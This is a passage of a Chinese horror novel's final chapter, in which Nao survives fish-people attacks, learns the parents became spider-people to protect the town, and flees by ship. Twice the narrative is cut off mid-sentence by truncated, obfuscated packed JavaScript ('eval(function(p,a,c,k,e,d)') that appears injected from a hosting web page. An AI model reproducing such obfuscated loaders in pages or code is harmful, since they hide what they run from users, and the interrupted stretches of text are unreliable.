熟悉的称呼,却并非是奈绪所喊,龙太郎抬起头,抹了一把被汗水打湿的眼角,试图从脑海中搜刮出眼前男子的样子,张了几次嘴却始终叫不出。 “你是……”龙太郎有些尴尬。 男子从口袋中拿出一副眼镜戴上,一脸期待地看着龙太郎。 龙太郎左看右看,还是没有认出。 男子个子很高,用手指比划一下:“我以前是比现在胖一些,脸更圆……” 奈绪噗嗤一笑:“老师,这是伊藤望啊!” 龙太郎这才恍然大悟:“你是那个常和友树在一起玩的人!” 伊藤望神情有些黯然:“我和友树已经很久没见了。” 三人皆是沉默不语,尴尬万分后迅速转变话题,寒暄片刻后,门外的鱼人散去,奈绪和龙太郎便向伊藤望告别,一同往海岸线走去。 与从前簇拥的人群相比,现在的镇民几乎都变得独来独往,人群分散,毕竟谁也不知道身边的好友什么时候会异化,他们不敢拿自己的性命去赌。 人群走得稀稀拉拉,拖了一大条长队,眼神麻木,避过地上的残肢断臂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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奈绪越看越眼熟,这才想起来这是龙太郎在洪流中丢失的书包。 那时,因为这个书包,她还曾怀疑过他。 奈绪将东西捡起,有一个干净水瓶,两件简单衣服,最多的就是一种纸片。 纸片脏污,一碰就碎,被血水浸得湿透,只能看清上面潦草的几个小字。 “奈……记者。” “伊藤……医……” “淳平,足球运动员。” “老师一定会细心保管,等各位高考后发放给大家。” 奈绪看着脏污的纸片,回想起自己当时趴在桌子上费力想的画面,如同置身梦中,嘴角慢慢勾起微笑。 “难怪不肯说啊。”奈绪轻轻摇头,“那次出去,原来是为了拿这个,只可惜没什么用了。” “老师教导我们要信守承诺,我们当时还笑老师是个爱说空话的人,原来老师真是这么做的。” 龙太郎在血水中拼命去抓这只书包的窘态仍历历在目。 “真是不要命了。” 奈绪笑着将脏污的书包抱紧,接着将蔬菜采摘干净。 她用铁锨在菜地上挖开一个深坑,将放满纸片的书包塞入地下,又用土填严实。 这是奈绪心中的希望之地,如今第一批希望收割了,当然要有新的希冀种下。 她找了个大袋子,将蔬菜兜着背在肩上,沿着小路行走。 她没有直接返回海边,而是沿着熟悉的道路,走过一个又一个山坡,直到一棵张牙舞爪的树木出现在眼前,地下是一块小小的坟包。 她从口袋里拿出一张残破的纸片,放在坟前。 奈绪:“喏,淳平,这是你的。” 奈绪走了几步,又折反回来,从大袋子里拿出一把青菜,放在坟前,绿色点缀着土黄色的坟包,生机盎然。 26. 结局 现在所有人,都惧怕着黑暗的降临。 每当黑暗的阴影占据千鱼镇上空,海水暴涨,人类异化程度加深,毁灭的势头不可阻挡。 从异化开始,人们便无法再对身边的朋友产生信任,曾经一个人黑夜异化,吞掉了朋友的半条胳膊,而被咬掉胳膊的那个人,很快便感染死去了。 此事一出,人心戚戚。 海岸边建立的密密麻麻的大棚不攻自溃,人们逃离了海岸,尽可能往山上的高处跑,宁愿在破旧的小屋里苟延残喘,也不敢再经受一次被鱼人追杀,被异化的朋友攻击的恐怖经历。 海岸上,曾经建立起的数百个棚子,如今都已搬空,只有几个人还住着。 黑夜又降临了。 海水翻涌起几层楼高的浪花,朝岸边汹涌澎湃地拍来。 海风劲吹着海面,传出恐怖的呜呜声,随时会面临鱼人上岸的危险。 在这种情况下还敢住在海边的,要么是不怕死的亡命之徒,要么是狗急跳墙依赖潮水冲上岸的食物来勉强果腹的普通人。 奈绪占了两样。 她并非不怕死,只是相对于无尽的黑暗,前路的迷茫,无人可说的孤独来说,死亡好像也不是那么恐怖的事情。 等鱼人上岸,能逃就逃,逃不了就死,不这样想,还能怎么做呢? 不过归根到底,奈绪还是有点想活,毕竟艰难支撑到了现在,突然死去,从什么角度看都是很亏本的事情。 奈绪和其他几人选择分散居住,不再采取从前那样一群人住在一起的方法,能活一个是一个。 海岸上几乎没有人了,目前剩下的,也不过就是她,右一,坐轮椅的刚志,以及其他几个时常饿昏过去的镇民。 奈绪在沙滩上翻找着食物,能吃的并不多,幸好现在海滩上的人少,不然更吃不上了。 她的鞋子穿了太久,鞋底子已经磨坏了,她用几根布条勉强绑在脚上,背着装了海鲜的背篓,往岸边走去。 捡了几根没有被海水浸湿的木头,镇子被封锁了一年,幸好打火机还能用,她打量着这个精致的金属打火机,慢慢烧灼着木柴一端。 暗红色的火光跳跃,奈绪将几根木柴堆在一起,将燃烧的木头丢进去,随后取下背篓,拿出铁铲和海鲜。 将几只小章鱼放到烧红的铁铲上烤熟,又等了片刻后,奈绪就吃了起来,淡淡的咸腥味,很难吃,奈绪还是吃干净了。 勉强填饱肚子后,奈绪看着逐渐熄灭的火堆,火光黯淡,照着奈绪的半边侧脸,她的脸部线条比从前锐利了许多,眼睛清澈明亮。 在火光下,奈绪将袖子捋了上去,手臂上平添了几道伤疤,被太阳晒得黝黑,但依旧肤色匀净,没有细纹。 奈绪低声骂了一句,心情说不上高兴,也谈不上难过。 干脆自己现在就异变得了。 也好过在千鱼镇里,受这永无尽头的折磨。 朦胧的月光下,海水波涛翻涌,从棚子边,晃晃悠悠站起一个人影。 人影僵硬而憔悴,腿瘦得像两根竹竿,头发长时间未剪,已经盖住了大半张脸。 奈绪远远看着那团模糊的黑影,眨眼间觉得有些熟悉。 “右一?” 右一没有说话,高而瘦的个子在月光下像传闻中的鬼影。 抱着一丝警惕,奈绪站起身后退几步,抄起铁铲:“右一?” 她刻意放大声音,可右一还是没有反应,奈绪看不清右一的表情,只觉得他行走姿势格外僵硬。 是不是,到时间了。 一个声音在奈绪耳中迅速掠过,右一的情况当初比由子好不了多少。 “右一!右一!”奈绪不想放弃最后的希望,仍侥幸地一遍一遍喊着他的名字,握着铁铲的手颤抖不止,差点将铁铲抖落,她忙用一只手按住。 右一身上的鱼腥味很重,他赤着脚,借着月光,奈绪终于看清楚了,他赤着脚,脚趾已经连成一片,成了鱼人的蹼。 他的嘴巴缓缓裂开,一排尖利的獠牙刺破嘴唇,裹挟着滴落的鲜血,在月光下十分瘆人。 没给任何反应的机会,右一朝奈绪扑来,手臂硬得像铁块,手指掐住奈绪的半边肩膀,獠牙又狠又急,刺破奈绪的皮肤! 就在瞬间,奈绪手握铁铲,一只手背在右一身后,朝右一的头颅猛挥! 当! 右一的后脑勺挨了极重的一下,但右一似浑然未觉,翻白的眼睛中出现了一颗黑色的圆点,瞪着奈绪的眼神生疏冷漠。 不过铁铲这一下,倒是交错的獠牙停滞了一秒,奈绪迅速错手,一脚蹬开,顾不上半边头皮发麻,手脚并用朝岸上跑去! 有血液顺着脸颊滑下,不用触碰,奈绪也知道自己半边脸都被染红了,她拔足狂奔,铁铲因为刚才的挣扎,已经掉在沙滩上,没有时间去捡。 浪涛汹涌,月光照耀的银色水面,一颗颗圆头在水中起伏着,直到第一只脚踏上海滩。 右一在身后紧紧追赶着,嘴部逐渐凸起,两颗眼珠也暴凸起来。 奈绪不时回头瞧着,一半心疼一半痛苦,在右一的身后,一大片鱼人如影随形。 小镇处处门户紧闭,月光将街道洒得明亮,奈绪从街头跑到街尾,腿早已虚脱,没了力气。 意识再也控制不住身体,奈绪扑通一下跪坐在地,脑子疲惫到极点,血液涌向大腿,但怎么站也站不起来了。 身后响起嘶嘶的声音,奈绪看到一片巨大的黑影罩住了自己,影子正投在面前,是一只巨大的蜘蛛。 眼前,右一与其他鱼人速度如风,眨眼已到眼前,獠牙上翻,就要再度咬下! 一束极细极韧的蛛丝从蜘蛛人口中喷出,缠住了右一的头。 右一的死鱼眼狂暴凸起,浑身的骨头都发出咯吱咯吱的扭曲声音,接着几乎是一瞬间,右一的脊椎骨整个错位,整个人被吊起,四肢也软趴趴垂下,没了呼吸。 鱼人没有被这突如其来的变故吓到,或者说,鱼人根本不具备思考的意识,它们的脚步甚至没有一丝停顿。 一只鱼人继续朝奈绪扑来,再度被扭断了脖子,悬挂在半空,腮部开合了几下后便没了动静。 “怎、怎么回事?”奈绪情急之下有些结巴,腿上渐渐回过劲来,她用力拍打,扶着墙慢慢站起来。 身后的嘶嘶声更大了,但她不敢回头,只是慢慢往后退去,悄然别过脸。 不只有一只蜘蛛。 奈绪看见自己身后,屋顶上,一只又一只的蜘蛛人从黑暗里游走,出现,四肢攀附着墙面,半吊在空中摇荡。 蛛丝蒙着的脸,被几根淡青色的血管贯穿,那是一张张奈绪曾经熟悉,现在却觉得极为陌生的脸。 鱼人还在进攻,几只蜘蛛已经快速攀过墙面,吐出蛛丝,与那些鱼人缠斗,蜘蛛没入鱼群中,溅起一蓬血花,但也扭断了几条鱼人的头。 蜘蛛人一波又一波地涌出,奈绪一边奔跑,一边在蜘蛛人中寻找父母的面庞,她怀中还藏着那张纸,那张镇子上所有父母都知情,但却没一个孩子知晓的纸。 她想明白了! 她想明白了! 她大口呼吸着,迎风流着眼泪。 镇子上的诅咒是天生的,而父母的异变却是自愿的,这是唯一能抵抗鱼人的办法,这是他们从一开始就安排好的! 她从怀中掏出已经被揉得发软的纸,看着上面的符号,数字,图案,三种模式渐渐重合,在泪光中变成一张写满镇子所有人名字的名单。 从蝗虫侵袭镇子过后,也许父母深夜不眠,就是在讨论这个计划,凭借他们的敏锐直觉,他们已经觉察出这是一个不可挽回的灾难。 只能通过牺牲多数人来保全少数人,否则他们必将全军覆没。 奈绪将它撕碎后扔向天空,看见极高的屋顶上,母亲的脸一闪而过,而父亲四肢扭曲地紧跟在她身后,没有看奈绪一眼,无意识地投入到与鱼人的战斗中。 这便是拯救的代价,将自己变为意识全无,再也认不出子女的怪物,而这种古怪的办法,恐怕是镇子一直以来就有的,所谓的敲钟,不过是一个障眼法,镇子从前之所以能化解灾难,一部分是因为灾害程度不高,另一方面则是一部分人主动选择异化,打退了进攻的鱼人。 所以才叫千鱼镇啊。 红色笼罩了大地。 奈绪抬头,银白色的月亮已被拢上一层紫红色的暗影,像血肉淋漓的眼珠子。 在从前鱼人袭击城镇时,这群蜘蛛从来没有出现过,只是有极少数在镇子中晃悠。 而今日,不仅鱼人上岸数量最多,蜘蛛人也全部出现。 这注定是一个不平凡的夜晚。 “当——” 钟声响起。 与此同时,奈绪看见街道上出现了细小的裂纹,从镇子中心开始,呈蜘蛛网向四面辐射,地面开始下陷。 镇民趴在玻璃窗前,一脸惊恐地看着街道上离奇的混战,以及撒遍镇子各处的红色月光,房子摇晃,他们都惊惶无比,从门缝中溜出来。 奈绪用尽全身力气,喊得弓起腰来:“钟声响了!钟声响了!船已经回来了!” 敲钟已经失去了任何意义,钟声与船是一体的,船消失,钟也消失,船作废,钟也被废弃。 如今钟声再度响起,说明船已经出现在海边! 有人冲出房门查看,却被地下碎裂的砖石吓了一跳,急忙喊起来:“镇子,千鱼镇要塌了!快跑啊!” 鱼人与蜘蛛正鏖战着,双方争斗不相上下,几十个残存的镇民从房子里溜出,争先恐后往海边跑去。 镇子从中心开始碎裂,奈绪看见远处的山坡上,一只巨大的蜘蛛径直朝着奈绪飞速跑来。 蜘蛛化的程度不是很高,脸上还未被淡青色的血管贯穿。 奈绪嘴唇抖动着,一张脸苍白无比,看着蜘蛛从背上卸下一个浑身用棉布裹着的孩子。 蜘蛛人看着地上撕碎的纸片,脸上泛起暗淡的苦笑,他蜘蛛化的身体缓缓爬行着,靠近了奈绪,他异化的程度在不断加深,说出的话断断续续而且模糊: “奈绪……你都知道了……我……我……” 奈绪:“雄一……” 雄一的面容有些悲戚,眉毛还是很浓,他眼神里带着圣洁的怜悯。 奈绪心脏仿佛一次一次被尖刀贯穿,疼得她五官扭曲,她扶着腿慢慢矮下身子,听着一声一声的钟声,从海洋的那一侧不断飘来。 她直起身子,和雄一拥抱在一起,抚摸着雄一背后细软的绒毛,贴近他已经异化的耳朵,轻声说:“你放心吧,我会好好照顾夏美的。” 奈绪听到一声遗憾的叹息,她的身体被推开,雄一不舍地看了她一眼,异化的程度继续加深,他现在几乎说不出完整的话,从语气中依稀能分辨出几句话: “快……走……” 雄一扭动着巨大的身躯,往鱼群的中心游走,奈绪弯下腰,将嚎啕大哭的夏美抱在怀中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚志扶正奈绪后,冲她轻轻一点头,转着轮椅去帮龙太郎了。 镇上的蜘蛛人显著拖慢了鱼人的速度,意识到镇子从中心开始塌陷后,鱼人一波一波地涌出镇子,像一片乌云遮盖了沙滩,鱼人游进海中,甚至吞吃着船下的海虫,有几只鱼人甚至攀上了船身,挂在船边,伺机对船上的人展开攻击。 大船轰鸣,在海虫的簇拥下慢慢往海面上游去,船身不堪重负,发出吱呀吱呀的声响,许多镇民跪地祈祷,希望这艘船能带他们走向彼岸,一个卷毛也在祈祷,被奈绪踢了一脚。 “求什么!”奈绪丢给他一把刀子:“先把这些挂在船边的鱼人清理了才最紧要!” 伊藤望如梦初醒地停止了祷告,跟着奈绪去清理鱼人。 一刀砍断鱼人的手臂,奈绪毫不犹豫,指挥着众人将鱼人清理得干干净净,减去鱼人的重量,船身轻快了许多。 只剩最后几只了,奈绪忽然被人拍了拍肩膀,是龙太郎,他指着船的西侧,一只鱼人眼神涣散,正张开獠牙,肆意攻击着围了一圈的镇民。 “走开,都走开!让奈绪处理。”龙太郎呵斥拿着刀的几人离开,随后深深看了奈绪一眼,也离开了。 鱼人马上就要攀上船面,手臂却被奈绪抓住,鱼人抬起脸,凸起的眼珠中看见了奈绪扭曲变形的脸,鱼人没有丝毫犹豫,朝奈绪胳膊咬去,奈绪却没有挣扎,而是用另一只手环抱住鱼人,任凭尖牙刺进自己的肌肉。 “姐姐。” 鱼人被奈绪环抱着,动弹不得,一双鱼眼迷愣茫然,奈绪温热的呼吸擦过鳃部,带来一阵柔软的战栗,它莫名流起泪来,被奈绪抱得更紧。 “很快就不疼了……姐姐……很快的,我的刀很快……” 一瞬间,颈椎骨断裂,鱼人不再动弹,咬在奈绪胳膊上的獠牙缓缓松开。 奈绪几乎是狂乱地亲吻着由子的额头,手中的刀子丢下,抚摸着由子被海水浸湿的头发,将她抱在怀中,手臂还在潺潺流着血,奈绪已经感觉不到痛意。 人群都挤在船板上,茫然的眼神望向漆黑一片的海面,巨浪滔天,他们在一群海虫的帮助下,乘坐一艘残破的大船,离开了千鱼镇。 身后的千鱼镇中心出现了一个巨大的漩涡,如黑洞般吞噬着千鱼镇的一切,建筑倒塌,海水倾倒,他们逆着巨流前行。 反射着红色的海面与漆黑的海底交织,形成一幅奇异的诡谲画面。 奈绪抱着夏美,坐在死去的由子身旁,一股温柔的风包裹着她,将她的头发吹得微微扬起。 恍惚间,她觉得由子自由的灵魂也跟随自己出逃了。 那片她们一起种下的青菜地,带着那一书包希望的纸片,一同坠入漩涡。 狂风刮着奈绪的脸,她染着泪花的眼将万物变成模糊的色块,红色与黑色交织的色块中,一抹淡然的黄色出现了。 那是太阳,那是驱散了一切黑暗的太阳,那是包容一切的希望。 经过长达一年的毁灭后,希望重新回归世界。 奈绪和龙太郎几人坐成一排,全神贯注盯着那一抹黄色,他们不害怕烈日灼烧了他们的眼睛,也不怕茫然未知的前路。他们的手紧紧拉着,年轻的手,苍老的手,柔嫩的手,都紧紧拉着。 阳光终将普照大地。